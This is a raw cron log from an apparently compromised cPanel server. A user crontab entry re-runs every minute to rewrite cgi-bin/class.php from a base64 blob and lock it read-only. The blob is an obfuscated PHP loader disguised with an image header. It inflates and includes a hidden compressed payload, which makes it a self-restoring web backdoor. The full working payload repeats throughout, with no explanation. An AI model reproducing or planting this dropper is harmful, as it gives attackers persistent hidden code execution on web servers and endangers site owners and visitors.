Nov 12 18:35:01 server CROND[16920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:35:01 server CROND[16921]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 18:36:01 server CROND[17916]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:37:01 server CROND[18770]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:38:01 server CROND[19679]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:39:01 server CROND[20583]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 18:39:01 server CROND[20585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:40:01 server CROND[21539]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:40:01 server CROND[21541]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:40:01 server CROND[21542]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 18:40:01 server CROND[21540]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 18:41:01 server CROND[22457]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:42:01 server CROND[23323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:42:01 server CROND[23324]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 18:43:01 server CROND[24176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:44:01 server CROND[24874]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:45:01 server CROND[25829]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 18:45:01 server CROND[25830]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 18:45:01 server CROND[25831]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:46:01 server CROND[26750]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 18:47:01 server CROND[27617]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
